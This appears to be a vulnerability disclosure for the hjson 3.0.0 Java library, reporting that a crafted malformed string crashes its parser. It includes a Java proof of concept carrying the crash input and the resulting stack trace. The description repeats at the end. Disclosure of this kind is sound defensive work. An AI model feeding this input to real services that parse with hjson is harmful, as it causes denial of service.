Description
The utilization of hjson to interpret untrusted JSON strings could potentially expose to significant security risks, specifically denial of service (DOS) attacks. This vulnerability arises when the parser operates on input provided by users, which could be manipulated by malicious actors. They could craft content designed to trigger a java.lang.StringIndexOutOfBoundsException error, leading to a system crash. This not only disrupts normal operations but also opens up opportunities for further exploitations.
PoC
<dependency>
<groupId>org.hjson</groupId>
<artifactId>hjson</artifactId>
<version>3.0.0</version>
</dependency>package com.example;
import org.hjson.JsonValue;
public class App
{
public static void main( String[] args )
{
String jsonString = "[\n[\n=\n[[\'\'\'\'\'\'";
JsonValue.readHjson(jsonString);
}
}Error Log
Exception in thread "main" java.lang.StringIndexOutOfBoundsException: index -1,length 0
at java.base/java.lang.String.checkIndex(String.java:3278)
at java.base/java.lang.AbstractStringBuilder.charAt(AbstractStringBuilder.java:307)
at java.base/java.lang.StringBuilder.charAt(StringBuilder.java:89)
at org.hjson.HjsonParser.readMlString(HjsonParser.java:250)
at org.hjson.HjsonParser.readStringInternal(HjsonParser.java:301)
at org.hjson.HjsonParser.readString(HjsonParser.java:282)
at org.hjson.HjsonParser.readValue(HjsonParser.java:117)
at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
at org.hjson.HjsonParser.parse(HjsonParser.java:88)
at org.hjson.JsonValue.readHjson(JsonValue.java:130)
at com.example.App.main(App.java:10)
Description
The utilization of hjson to interpret untrusted JSON strings could potentially expose to significant security risks, specifically denial of service (DOS) attacks. This vulnerability arises when the parser operates on input provided by users, which could be manipulated by malicious actors. They could craft content designed to trigger a java.lang.StringIndexOutOfBoundsException error, leading to a system crash. This not only disrupts normal operations but also opens up opportunities for further exploitations.
PoC
Error Log